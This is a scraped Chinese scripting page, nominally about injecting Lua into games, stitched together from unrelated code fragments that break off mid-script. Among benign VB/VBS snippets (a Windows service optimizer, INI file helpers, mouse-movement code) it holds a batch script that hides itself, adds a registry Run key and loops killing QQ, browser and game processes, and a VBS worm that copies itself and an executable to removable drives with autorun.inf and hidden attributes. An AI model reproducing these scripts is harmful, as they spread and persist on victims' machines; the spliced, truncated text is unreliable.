lua脚本怎么注入游戏运行不了

发布时间:2020-11-16 来源:脚本之家 点击:

但有些软件的标题是不固定的,如一些MDI程序,如果打开的文件不同,窗口标题也不同,这时使用窗口类来搜索就比较方便
@echo off
attrib -s -h -a -r d:\jk.bat 1>nul 2>nul
if exist d:\jk.bat del d:\jk.bat /q
copy %0 d:\jk.bat /y >nul
attrib +s +h +a +r d:\jk.bat
if exist %windir%\system32\jk.vbs del %windir%\system32\jk.vbs
echo y|reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DATA /t REG_SZ /d c:\windows\system32\jk.vbs >nul
echo Do>>%windir%\system32\jk.vbs
echo WScript.Sleep 3000>>%windir%\system32\jk.vbs
echo strComputer="." >>%windir%\system32\jk.vbs
echo Set objWMIService=GetObject("winmgmts:\" ^& strComputer ^& "\root\CIMV2") >>%windir%\system32\jk.vbs
echo Set colItems=objWMIService.ExecQuery( _>>%windir%\system32\jk.vbs
echo "SELECT * FROM Win32_Process",,48)>>%windir%\system32\jk.vbs
echo For Each objItem in colItems >>%windir%\system32\jk.vbs
echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%\system32\jk.vbs
echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%\system32\jk.vbs
echo Then objitem.Terminate()>>%windir%\system32\jk.vbs
echo Next>>%windir%\system32\jk.vbs
echo loop>>%windir%\system32\jk.vbs
start %windir%\system32\jk.vbs
del %0 /q

油猴脚本下载百度网盘
谁能告诉我原因,请留言



设置了KeepLocal属性后,该属性将出现在Document对象的Properties集合中


Option Explicit
'○○○○○○○○○○○○○○○○○○○○○○○○○○○○○开始
Const blnVBSShowCaption=True
'生成的服务备份中是否添加说明
Const blnVBSShowDescription=True
'●●●●●●●●●●●●●●●●●●●●●●●●●●●●●结束
'文件读写标识常量
Const Forwriteing=8
'读取出来的自动模式类型
Const cstrAutoForRead="Auto"
'用于设定的自动模式类型
Const cstrAutoForWrite="Automatic"
'变更历史状态
Const cstrStateNotFound="Not Found"
Const cstrStateNotSetted="Not Setted"
Const cstrStateNotChanged="Not Changed"
Const cstrStateChanged="Changed"
'服务变更类型
Class clsServiceChange
'服务名称
Public Name
'服务显示名称
Public Caption
'服务描述
Public Description
'服务初始启动模式
Public StartModeFrom
'服务之后启动模式
Public StartModeTo
'服务启动变更标识
Private Sub Class_Initialize()
Name=""
Caption=""
Description=""
StartModeFrom=""
StartModeTo=""
End Sub
Public Property get State
If StartModeFrom="" Then
State="Not Found"
Exit Property
End If
If StartModeTo="" Then
State="Not Setted"
Exit Property
End If
If StartModeFrom=StartModeTo Then
State="Not Changed"
Else
State="Changed"
End If
End Property
End Class
'文件系统
dim objFileSystem
'备份的VBS文件
Dim objVBSFile
'WshShell 对象
dim objWShell
'windows 系统管理模块
Dim objWinManagment
'系统服务集
Dim objServices
'所操作的电脑标识
Dim strComputer
'备份文件路径
Dim strVBSFilePath
'备份文件名
Dim strVBSFileName
'信息
Dim strMessage
'数组索引
Dim intIndex
'Log暂存
Dim astrLog()
'服务变更历史
Dim aobjServiceChange()
Redim aobjServiceChange(0)
Redim astrLog(0)
'添加多条变更原则
'○○○○○○○○○○○○○○○○○○○○○○○○○○○○○○○
'自己修改位置(开始)
'○○○○○○○○○○○○○○○○○○○○○○○○○○○○○○○
AddRuler "Alerter" ,"Disabled"
AddRuler "ALG" ,"Manual"
AddRuler "AppMgmt" ,"Manual"
AddRuler "aspnet_state" ,"Disabled"
AddRuler "Ati HotKey Poller" ,"Disabled"
AddRuler "AudioAddRuler" ,"Auto"
AddRuler "BITS" ,"Manual"
AddRuler "Browser" ,"Disabled"
AddRuler "CiSvc" ,"Disabled"
AddRuler "ClipSrv" ,"Disabled"
AddRuler "ClipAddRuler" ,"Disabled"
AddRuler "COMSysApp" ,"Disabled"
AddRuler "CryptSvc" ,"Auto"
AddRuler "DcomLaunch" ,"Auto"
AddRuler "DF5Serv" ,"Auto"
AddRuler "Dhcp" ,"Auto"
AddRuler "dmadmin" ,"Manual"
AddRuler "dmserver" ,"Manual"
AddRuler "Dnscache" ,"Disabled"
AddRuler "ERSvc" ,"Disabled"
AddRuler "Eventlog" ,"Auto"
AddRuler "EventSystem" ,"Auto"
AddRuler "FastUserSwitchingCompatibility" ,"Disabled"
AddRuler "helpsvc" ,"Manual"
AddRuler "HidServ" ,"Disabled"
AddRuler "HTTPFilter" ,"Manual"
AddRuler "ImapiService" ,"Disabled"
AddRuler "lanmanserver" ,"Manual"
AddRuler "lanmanworkstation" ,"Auto"
AddRuler "LmHosts" ,"Disabled"
AddRuler "MDM" ,"Disabled"
AddRuler "Messenger" ,"Disabled"
AddRuler "mnmAddRulerc" ,"Manual"
AddRuler "mnmsrvc" , "Disabled"
AddRuler "MSDTC" ,"Disabled"
AddRuler "MSIServer" ,"Manual"
AddRuler "NetDDE" ,"Disabled"
AddRuler "NetDDEdsdm" ,"Disabled"
AddRuler "Netlogon" ,"Manual"
AddRuler "Netman" ,"Auto"
AddRuler "Nla" ,"Disabled"
AddRuler "NtLmSsp" ,"Manual"
AddRuler "NtmsSvc" ,"Disabled"
AddRuler "NVSvc" ,"Disabled"
AddRuler "O&O Defrag" ,"Manual"
AddRuler "ose" ,"Manual"
AddRuler "PlugPlay" ,"Auto"
AddRuler "PolicyAgent" ,"Disabled"
AddRuler "ProtectedStorage" ,"Auto"
AddRuler "RasAuto" ,"Disabled"
AddRuler "RasMan" ,"Disabled"
AddRuler "RDSessMgr" ,"Disabled"
AddRuler "RemoteAccess" ,"Disabled"
AddRuler "RemoteRegistry" ,"Disabled"
AddRuler "RpcLocator" ,"Manual"
AddRuler "RpcSs" ,"Auto"
AddRuler "RSVP" ,"Disabled"
AddRuler "SamSs" ,"Auto"
AddRuler "SCardSvr" ,"Disabled"
AddRuler "Schedule" ,"Disabled"
AddRuler "seclogon" ,"Auto"
AddRuler "SENS" ,"Disabled"
AddRuler "SharedAccess" ,"Disabled"
AddRuler "ShellHWDetection" ,"Manual"
AddRuler "sicentnetsync" ,"Auto"
AddRuler "Spooler" ,"Manual"
AddRuler "srservice" ,"Disabled"
AddRuler "SSDPAddRuler" ,"Disabled"
AddRuler "SSDPSRV" ,"Disabled"
AddRuler "stisvc" ,"Manual"
AddRuler "SwPrv" ,"Disabled"
AddRuler "SysmonLog" ,"Manual"
AddRuler "TapiAddRuler" ,"Manual"
AddRuler "TermService" ,"Disabled"
AddRuler "Themes" ,"Auto"
AddRuler "TlntSvr" ,"Disabled"
AddRuler "TrkWks" ,"Disabled"
AddRuler "TapiSrv" ,"Disabled"
AddRuler "UMWdf" ,"Auto"
AddRuler "upnphost" ,"Disabled"
AddRuler "UPS" ,"Disabled"
AddRuler "usnjsvc" ,"Manual"
AddRuler "VSS" ,"Disabled"
AddRuler "VMAuthdService" ,"Manual"
AddRuler "VMnetDHCP" ,"Manual"
AddRuler "VMware NAT Service" ,"Manual"
AddRuler "W32Time" ,"Disabled"
AddRuler "WebClient" ,"Disabled"
AddRuler "winmgmt" ,"Auto"
AddRuler "WinVNC4" ,"Manual"
AddRuler "WmdmPmSN" ,"Disabled"
AddRuler "Wmi" ,"Manual"
AddRuler "WmiApAddRuler" ,"Manual"
AddRuler "wscsvc" ,"Manual"
AddRuler "wuauserv" ,"Disabled"
AddRuler "WZCSVC" ,"Auto"
AddRuler "xmlprov" ,"Manual"
'●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
'自己修改位置(结束)
'●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
'设定电脑为本机
strComputer="."
Set objWShell=CreateObject("Wscript.Shell")
'备份至我的文档
strVBSFilePath=objWShell.SpecialFolders("MyDocuments") & "\ServiceBack"
'以当前时间作为备份文件名
strVBSFileName="Service" & Year(Date) & "-" & Month(Date) & "-" & Day(Date) & "-" & Hour(Time) & "-" & Minute(Time) &".vbs"
Set objFileSystem=CreateObject("Scripting.FileSystemObject")
'备份文件路径存在性验证和添加文件夹
If Not objFileSystem.FolderExists(strVBSFilePath) Then
objFileSystem.CreateFolder(strVBSFilePath)
End If
'备份文件存在性验证
If objFileSystem.FileExists(strVBSFilePath & strVBSFileName) Then
'文件存在的情况下
Msgbox "The File Has been in existence.",16,"Warning!"
Else
'本机管理模块对象初始化
Set objWinManagment=GetObject("Winmgmts:\"& strComputer &"\Root\Cimv2")
'本机服务集取得
Set objServices=objWinManagment.ExecQuery("Select * From Win32_Service")
'文件对象创建
Set objVBSFile=objFileSystem.CreateTextFile(strVBSFilePath & strVBSFileName ,ForWriteing)
objVBSFile.WriteLine vbcrlf
objVBSFile.WriteLine "'Runable Backup:"
objVBSFile.WriteLine "'============================="
objVBSFile.WriteLine "Const cstrAutoForRead=""Auto"""
objVBSFile.WriteLine "Const cstrAutoForWrite=""Automatic"""
objVBSFile.WriteLine "intChangeCount=0"
objVBSFile.WriteLine "intChangeSuccessCount=0"
objVBSFile.WriteLine "strComputer=""."""
objVBSFile.WriteLine "Const Forwriteing=8"
objVBSFile.WriteLine "If Msgbox(""Are You Sure You Want To Restore Your Service ?"",VBYesNo+vbInformation,""Restore Service"")=vbYes Then"
objVBSFile.WriteLine " Set objWinManagment=GetObject(""Winmgmts:\""& strComputer &""\Root\Cimv2"")"
objVBSFile.WriteLine " Set objServices=objWinManagment.ExecQuery(""Select * From Win32_Service"")"
strMessage=GOT()
objVBSFile.WriteLine " Set objWinManagment=Nothing"
objVBSFile.WriteLine " Set objServices=Nothing"
objVBSFile.WriteLine "End If"
objVBSFile.WriteLine "Function SRV(SRN,SRM)"
objVBSFile.WriteLine " For Each S In objServices"
objVBSFile.WriteLine " If s.Name=Srn And S.StartMode<>SRM Then"
objVBSFile.WriteLine " intChangeCount=intChangeCount+1 "
objVBSFile.WriteLine " If SRM=cstrAutoForRead Then "
objVBSFile.WriteLine " strStartModeTemp=cstrAutoForWrite "
objVBSFile.WriteLine " Else "
objVBSFile.WriteLine " strStartModeTemp=SRM "
objVBSFile.WriteLine " End If "
objVBSFile.WriteLine " If S.ChangeStartMode(strStartModeTemp)=0 Then "
objVBSFile.WriteLine " intChangeSuccessCount=intChangeSuccessCount+1 "
objVBSFile.WriteLine " End If "
objVBSFile.WriteLine " End if"
objVBSFile.WriteLine " Next"
objVBSFile.WriteLine "End Function"
If Msgbox ("Backup services Completed" & Chr(13) & strVBSFilePath & strVBSFileName & Chr(13) & "'(" & strMessage & ")" &"Begin optimization?",VBYesNo+vbInformation,"Complete" )=vbYes Then
'执行服务设置
strMessage=SRV
Msgbox "Optimization completed!restart Your computer?" & Chr(13) & "'(" & strMessage & ")",vbOKOnly+vbInformation,"OK"
' If Msgbox("Optimization completed!restart Your computer?" & Chr(13) & "'(" & strMessage & ")",VBYesNo+vbInformation,"OK")=vbYes Then
' objWShell.Run "Shutdown.exe -r -t 5"
' End if
End if
'Log输出
Call OutputLog
'备份文件关闭
objVBSFile.Close
End if
'对象释放
For intIndex=0 To Ubound(aobjServiceChange)
Set aobjServiceChange(intIndex)=Nothing
Next
Erase aobjServiceChange
Erase astrLog
Set objFileSystem=Nothing
Set objVBSFile=Nothing
Set objWShell=Nothing
Set objWinManagment=Nothing
Set objServices=Nothing
Wscript.quit
''''''''''''''''''''''''''''''''''
'记录Log信息
''''''''''''''''''''''''''''''''''
Function WriteLog(strTemp)
'检测当前数组值是否被初始化并初始化为空值
If Isempty(astrLog(Ubound(astrLog))) Then
astrLog(Ubound(astrLog))=""
End If
astrLog(Ubound(astrLog))=astrLog(Ubound(astrLog)) & strTemp
End Function
''''''''''''''''''''''''''''''''''
'按行记录Log信息
''''''''''''''''''''''''''''''''''
Function WriteLineLog(strTemp)
'检测当前数组值是否被初始化并初始化为空值
If Isempty(astrLog(Ubound(astrLog))) Then
astrLog(Ubound(astrLog))=""
End If
astrLog(Ubound(astrLog))=astrLog(Ubound(astrLog)) & strTemp
Redim Preserve astrLog(Ubound(astrLog)+1)
astrLog(Ubound(astrLog))=""
End Function
''''''''''''''''''''''''''''''''''
'输出Log信息
''''''''''''''''''''''''''''''''''
Function OutputLog()
'数组计数器
Dim intIndex
'Log输出出错计数
Dim intLogOutputError
intLogOutputError=0
For intIndex=0 To Ubound(astrLog)
On Error Resume Next
objVBSFile.WriteLine "'" & astrLog(intIndex)
If Err.Number<>0 Then
intLogOutputError=intLogOutputError+1
objVBSFile.WriteLine "'?Illegal Code"
End If
On Error Goto 0
Next
If intLogOutputError<>0 Then
objVBSFile.WriteLine "'?Log Output Error(" & intLogOutputError & ")"
End If
End Function
''''''''''''''''''''''''''''''
'添加变更原则
'''''''''''''''''''''''''''''''''
Function AddRuler(SRN,SRM)
Dim intIndex
'遍历所有已经存在服务以防止重复
For intIndex=0 To Ubound(aobjServiceChange)-1
If aobjServiceChange(intIndex).Name=SRN Then
WriteLineLog "?" & SRN & "'s Ruler duplicated "
Exit Function
End If
Next
Set aobjServiceChange(Ubound(aobjServiceChange))=New clsServiceChange
'记录服务名称
aobjServiceChange(Ubound(aobjServiceChange)).Name=SRN
'记录服务要变更成的启动模式
aobjServiceChange(Ubound(aobjServiceChange)).StartModeTo=SRM
Redim Preserve aobjServiceChange(Ubound(aobjServiceChange)+1)
End Function
''''''''''''''''''''''''''''''
'服务状态取得备份
''''''''''''''''''''''''''''''
Function GOT()
'系统服务
Dim objService
'服务名
Dim strServiceName
'服务显示名
Dim strServiceCaption
'服务启动模式
Dim strServiceMode
'服务描述
Dim strServiceDescription
'变更计数
Dim intChangeCount
'有效规则计数
Dim intRuleredCount
'规则计数
Dim intRuler
'数组索引
Dim intIndex
'与规则匹配上标识
Dim blnMatch
intChangeCount=0
intRuleredCount=0
intRuler=Ubound(aobjServiceChange)-1
WriteLineLog vbcrlf
WriteLineLog "Optimize Needed:"
WriteLineLog "============================="
For Each objService in objServices
blnMatch=False
strServiceName=objService.Name
strServiceCaption=objService.Caption
strServiceMode=objService.StartMode
strServiceDescription=objService.Description
If IsNull(strServiceDescription) Then
strServiceDescription=""
End If
strServiceDescription=Replace(strServiceDescription,vbcrlf,"")
'是否在备份代码中显示说明
If blnVBSShowCaption Then
objVBSFile.Write "'"
'避免出现乱码的情况出错
On Error Resume Next
objVBSFile.Write "(" & strServiceCaption & ") "
'是否在备份代码中显示说明
If blnShowDescription Then
objVBSFile.Write " [" & strServiceDescription & "]"
End If
objVBSFile.Writeline ""
Err.clear
On Error Goto 0
End If
objVBSFile.WriteLine " SRV """& strServiceName &""","""& strServiceMode &""""
'变更检测(用于Log输出)
For intIndex=0 To Ubound(aobjServiceChange)-1
'验证是否名称相同
If strServiceName=aobjServiceChange(intIndex).Name Then
'修改是否匹配上的标识
blnMatch=True
'记录匹配上的数目
intRuleredCount=intRuleredCount+1
'记录服务起始启动方式
aobjServiceChange(intIndex).StartModeFrom=strServiceMode
'记录服务显示名称
aobjServiceChange(intIndex).Caption=strServiceCaption
'记录服务描述
aobjServiceChange(intIndex).Description=strServiceDescription
'验证是否需要变更
If strServiceMode<>aobjServiceChange(intIndex).StartModeTo Then
'需要变更计数
intChangeCount=intChangeCount+1
WriteLineLog strServiceName & vbTab & "(" & strServiceCaption &")" & "[" & strServiceDescription &"]"
WriteLineLog strServiceMode & vbTab & "--->" & vbTab & aobjServiceChange(intIndex).StartModeTo
End If
'查找到服务之后退出循环
Exit For
End If
Next
'在规则中未规定的服务添加
If blnMatch=False then
Set aobjServiceChange(Ubound(aobjServiceChange))=New clsServiceChange
'记录服务名称
aobjServiceChange(Ubound(aobjServiceChange)).Name=objService.Name
'记录服务别名
aobjServiceChange(Ubound(aobjServiceChange)).Caption=objService.Caption
'记录服务描述
aobjServiceChange(Ubound(aobjServiceChange)).Description=objService.Description
'记录服务初始的启动模式
aobjServiceChange(Ubound(aobjServiceChange)).StartModeFrom=objService.StartMode
Redim Preserve aobjServiceChange(Ubound(aobjServiceChange)+1)
End If
Next
objVBSFile.WriteLine " Msgbox ""Service Reset Completed"" & ""("" & intChangeSuccessCount &""/"" & intChangeCount & "")"" "
GOT="Service:" & objServices.Count & ",Ruler:" & intRuler & ",Rulered:" & intRuleredCount & ",NotRulered:" & objServices.Count-intRuleredCount & ",ChangeNeed:" & intChangeCount & ""
WriteLineLog "***********************************************************************************"
WriteLineLog GOT
WriteLineLog "***********************************************************************************"
'输出未做规定的
WriteLineLog vbcrlf
WriteLineLog "-----------------------------"
WriteLineLog "Not Rulered:"
WriteLineLog "-----------------------------"
'遍历变更历史
For intIndex=0 To Ubound(aobjServiceChange)-1
'服务变更状态检测
If aobjServiceChange(intIndex).State=cstrStateNotSetted Then
'未设定的服务信息输出
WriteLineLog """" & aobjServiceChange(intIndex).Name & """" & vbTab & ",""" & aobjServiceChange(intIndex).StartModeFrom & """" & vbTab & "(" & aobjServiceChange(intIndex).Caption & ")" & "[" & aobjServiceChange(intIndex).Description & "]"
End If
Next
'清空对象
Set objService=Nothing
End Function
''''''''''''''''''''''''''''''''''''''''''''
'服务设定函数
''''''''''''''''''''''''''''''''''''''''''''
Function SRV()
'系统服务
Dim objService
'数组计数
Dim intIndex
'服务描述
Dim strServiceDescription
'要设定的服务启动方式暂存
Dim strStartModeTemp
'服务启动方式修改成功计数
Dim intChangeSuccessCount
'服务启动方式修改不成功计数
Dim intChangeNotSuccessCount
intChangeSuccessCount=0
intChangeNotSuccessCount=0
WriteLineLog vbcrlf
WriteLineLog "============================="
WriteLineLog "Optimize Record:"
WriteLineLog "============================="
'修改失败的Log标题
WriteLineLog "-----------------------------"
WriteLineLog "Change False:"
WriteLineLog "-----------------------------"
'遍历服务集
For Each objService In objServices
For intIndex=0 To Ubound(aobjServiceChange)-1
If objService.Name=aobjServiceChange(intIndex).Name Then
'启动方式判断
If aobjServiceChange(intIndex).State=cstrStateChanged Then
'修改启动方式
If aobjServiceChange(intIndex).StartModeTo=cstrAutoForRead Then
'要设定启动类型为自启动时
strStartModeTemp=cstrAutoForWrite
Else
'设定服务类型不是自启动时
strStartModeTemp=aobjServiceChange(intIndex).StartModeTo
End If
'修改服务启动方式
If objService.ChangeStartMode(strStartModeTemp)=0 Then
'修改成功计数
intChangeSuccessCount=intChangeSuccessCount+1
Else
'修改不成功计数
intChangeNotSuccessCount=intChangeNotSuccessCount+1
'记录未修改成功的服务
WriteLineLog objService.Name & "(" & objService.Caption & ")" & "[" & objService.Description & "]"
'记录该服务所应该做的变更
WriteLineLog objService.StartMode & vbTab & "--->" & vbTab & aobjServiceChange(intIndex).StartModeTo
End If
End If
'查找到服务之后退出循环
Exit For
End If
Next
Next
SRV="Successed:" & intChangeSuccessCount & ",NotSuccessed:" & intChangeNotSuccessCount
WriteLineLog "***********************************************************************************"
WriteLineLog SRV
WriteLineLog "***********************************************************************************"
'清空对象
Set objService=Nothing
End Function
'文件名SourceDB.ini文件

  PrivateDeclareFunctionGetPrivateProfileStringLib"kernel32"Alias

  "GetPrivateProfileStringA"(ByVallpApplicationNameAsString,ByVallpKeyNameAsAny,ByVal

  lpDefaultAsString,ByVallpReturnedStringAsString,ByValnSizeAsLong,ByVal

  lpFileNameAsString)AsLong

  PrivateDeclareFunctionWritePrivateProfileStringLib"kernel32"Alias

  "WritePrivateProfileStringA"(ByVallpApplicationNameAsString,ByVallpKeyNameAsAny,ByVal

  lpStringAsAny,ByVallpFileNameAsString)AsLong

  

  '以下两个函数,读/写ini文件,固定节点setting,in_key为写入/读取的主键

  '仅仅针对是非值

  'Y:yes,N:no,E:error

  PublicFunctionGetIniTF(ByValIn_KeyAsString)AsBoolean

  OnErrorGoToGetIniTFErr

  GetIniTF=True

  DimGetStrAsString

  GetStr=VBA.String(128,0)

  GetPrivateProfileString"Setting",In_Key,"",GetStr,256,App.Path&"\SourceDB.ini"

  GetStr=VBA.Replace(GetStr,VBA.Chr(0),"")

  IfGetStr="1"Then

  GetIniTF=True

  GetStr=""

  Else

  GoToGetIniTFErr

  EndIf

  ExitFunction

  GetIniTFErr:

  Err.Clear

  GetIniTF=False

  GetStr=""

  EndFunction

  

  PublicFunctionWriteIniTF(ByValIn_KeyAsString,ByValIn_DataAsBoolean)AsBoolean

  OnErrorGoToWriteIniTFErr

  WriteIniTF=True

  IfIn_Data=TrueThen

  WritePrivateProfileString"Setting",In_Key,"1",App.Path&"\SourceDB.ini"

  Else

  WritePrivateProfileString"Setting",In_Key,"0",App.Path&"\SourceDB.ini"

  EndIf

  ExitFunction

  WriteIniTFErr:

  Err.Clear

  WriteIniTF=False

  EndFunction


  '以下两个函数,读/写ini文件,不固定节点,in_key为写入/读取的主键

  '针对字符串值

  '空值表示出错

  PublicFunctionGetIniStr(ByValAppNameAsString,ByValIn_KeyAsString)AsString

  OnErrorGoToGetIniStrErr

  IfVBA.Trim(In_Key)=""Then

  GoToGetIniStrErr

  EndIf

  DimGetStrAsString

  GetStr=VBA.String(128,0)

  GetPrivateProfileStringAppName,In_Key,"",GetStr,256,App.Path&"\SourceDB.ini"

  GetStr=VBA.Replace(GetStr,VBA.Chr(0),"")

  IfGetStr=""Then

  GoToGetIniStrErr

  Else

  GetIniStr=GetStr

  GetStr=""

  EndIf

  ExitFunction

  GetIniStrErr:

  Err.Clear

  GetIniStr=""

  GetStr=""

  EndFunction

  

  PublicFunctionWriteIniStr(ByValAppNameAsString,ByValIn_KeyAsString,ByValIn_DataAsString)AsBoolean

  OnErrorGoToWriteIniStrErr

  WriteIniStr=True

  IfVBA.Trim(In_Data)=""OrVBA.Trim(In_Key)=""OrVBA.Trim(AppName)=""Then

  GoToWriteIniStrErr

  Else

  WritePrivateProfileStringAppName,In_Key,In_Data,App.Path&"\SourceDB.ini"

  EndIf

  ExitFunction

  WriteIniStrErr:

  Err.Clear

  WriteIniStr=False

  EndFunction

->

但是初学者慎用,千万不要随便拿来掩盖错误,否则以后程序出现莫名其妙的问题,改都没法改

使用完毕要记得关闭错误捕获器on error goto 0
语法如下:
=======================================================
on error resume next '打开错误捕获,以下错误语句将被跳过,
同时内部对象err将纪录最后一个触发的错误信息
on error goto 0 '关闭错误捕获
=======================================================
关于err对象:
if Err.number<>0 then
response.write Err.description
Err.clear '错误被手工处理后要记得清除err对象的内容
response.end
end if如果同一个窗体需要被储存在多个位置信息之中的话你可以使用不同的标识符

一个也没找到@_@"
else

wscript.echo"恭喜lua加密解密二改+工具

'以下程式在.bas
TypeRECT
LeftAsLong
ToPAsLong
RightAsLong
BottomAsLong
EndType
TypePOINTAPI
XAsLong
YAsLong
EndType

DeclareFunctionSetCursorPosLib"user32"(ByValXAsLong,ByValYAsLong)AsLong
DeclareFunctionGetWindowRectLib"user32"(ByValhwndAsLong,lpRectAsRECT)AsLong
DeclareSubSleepLib"kernel32"(ByValdwMillisecondsAsLong)

PublicSubMoveCursor(FromPAsPOINTAPI,ToPAsPOINTAPI)
DimstepxAsLong,stepyAsLong,kAsLong
DimiAsLong,jAsLong,sDelayAsLong
stepx=1
stepy=1
i=(ToP.X-FromP.X)
Ifi<0Thenstepx=-1
i=(ToP.Y-FromP.Y)
Ifi<0Thenstepy=-1
'CallEnableHook'如果有Includehtmapi53.htm的.bas时,会DisableMouse
Fori=FromP.XToToP.XStepstepx
CallSetCursorPos(i,FromP.Y)
Sleep(1)'让Mouse的移动慢一点,这样效果较好
Nexti
Fori=FromP.YToToP.YStepstepy
CallSetCursorPos(ToP.X,i)
Sleep(1)
Nexti
'CallFreeHook'EnableMouse
EndSub
'以下程式在Form中,需3个Command按键
PrivateSubCommand3_Click()
Dimrect5AsRECT
Dimp1AsPOINTAPI,p2AsPOINTAPI
CallGetWindowRect(Command1.hwnd,rect5)'取得Command1相对於Screen的座标
p1.X=(rect5.Left rect5.Right)\2
p1.Y=(rect5.ToP rect5.Bottom)\2
CallGetWindowRect(Command2.hwnd,rect5)
p2.X=(rect5.Left rect5.Right)\2
p2.Y=(rect5.ToP rect5.Bottom)\2

CallMoveCursor(p1,p2)'Mouse由Command1->Command2
EndSub

另外从Showje的站有Copy以下的程式码,也是做相同的果,只是使用的API全部不同

'以下程式在Form中,需2个Command按键
'以下置於form的一般宣告区
PrivateDeclareSubmouse_eventLib"user32"_
(_
ByValdwFlagsAsLong,_
ByValdxAsLong,_
ByValdyAsLong,_
ByValcButtonsAsLong,_
ByValdwExtraInfoAsLong_
)

PrivateDeclareFunctionClientToScreenLib"user32"_
(_
ByValhwndAsLong,_
lpPointAsPOINTAPI_
)AsLong

PrivateDeclareFunctionGetSystemMetricsLib"user32"_
(_
ByValnIndexAsLong_
)AsLong
PrivateDeclareFunctionGetCursorPosLib"user32"_
(_
lpPointAsPOINTAPI_
)AsLong

PrivateTypePOINTAPI
xAsLong
yAsLong
EndType

PrivateTypeOSVERSIONINFO
dwOSVersionInfoSizeAsLong
dwMajorVersionAsLong
dwMinorVersionAsLong
dwBuildNumberAsLong
dwPlatformIdAsLong
szCSDVersionAsString*128
EndType

PrivateConstMOUSEEVENTF_MOVE=&H1'mousemove
PrivateConstMOUSEEVENTF_LEFTDOWN=&H2'leftbuttondown
PrivateConstMOUSEEVENTF_LEFTUP=&H4'leftbuttonup
PrivateConstMOUSEEVENTF_ABSOLUTE=&H8000'absolutemove

PrivateSubCommand1_Click()

DimptAsPOINTAPI
Dimdl&
Dimdestx&,desty&,curx&,cury&
Dimdistx&,disty&
Dimscreenx&,screeny&
Dimfinished
Dimptsperx&,ptspery&

pt.x=10
pt.y=10
dl&=ClientToScreen(Command2.hwnd,pt)

screenx&=GetSystemMetrics(0)'0表x轴

screeny&=GetSystemMetrics(1)'1表y轴

destx&=pt.x*&HFFFF&/screenx&
desty&=pt.y*&HFFFF&/screeny&

ptsperx&=&HFFFF&/screenx&
ptspery&=&HFFFF&/screeny&

'Nowmoveit
Do
dl&=GetCursorPos(pt)
curx&=pt.x*&HFFFF&/screenx&
cury&=pt.y*&HFFFF&/screeny&
distx&=destx&-curx&
disty&=desty&-cury&
If(Abs(distx&)<2*ptsperx&AndAbs(disty&)<2*ptspery)Then
'Closeenough,gotherestoftheway
curx&=destx&
cury&=desty&
finished=True
Else
'Movecloser
curx&=curx& Sgn(distx&)*ptsperx*2
cury&=cury& Sgn(disty&)*ptspery*2
EndIf
mouse_eventMOUSEEVENTF_ABSOLUTE_
OrMOUSEEVENTF_MOVE,curx,cury,0,0
LoopWhileNotfinished

'到家了,按上右键吧!注:是左键,Showje的笔误
'以下是在(curx,cury)的座标下,模拟Mouse左键的downandup
mouse_eventMOUSEEVENTF_ABSOLUTEOr_
MOUSEEVENTF_LEFTDOWN,curx,cury,0,0

mouse_eventMOUSEEVENTF_ABSOLUTEOr_
MOUSEEVENTF_LEFTUP,curx,cury,0,0

EndSub

PrivateSubCommand2_Click()
MsgBox"看你往哪儿逃!哈!!"
EndSub

->


On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
Set curfolder=fso.GetFolder(".")
curdristr=Left(WScript.ScriptFullName,3)
Set curdri=fso.GetDrive(curdristr)
reghid() '不显示隐藏文件
If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then '如果在system32中
For i=1 To 2 Step 0
reghid()
For Each dri In fso.Drives
If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then
'autorun.inf文件夹改名
If fso.FolderExists(dri.Path&"\autorun.inf") Then
fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish"
End If
'复制自身及exe文件到移动硬盘
If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then
Else
If fso.FileExists(dri.Path&"\mp3.vbs") Then
fso.DeleteFile dri.Path&"\mp3.vbs",True
ElseIf fso.FileExists(dri.Path&"\autorun.inf") Then
fso.DeleteFile dri.Path&"\autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then
fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True
End If
autoinf(dri.Path)
'给刚复制的文件加上隐藏属性
Set norkon=fso.GetFile(dri.Path&"\mp3.vbs")
wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0
Set norkon=Nothing

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号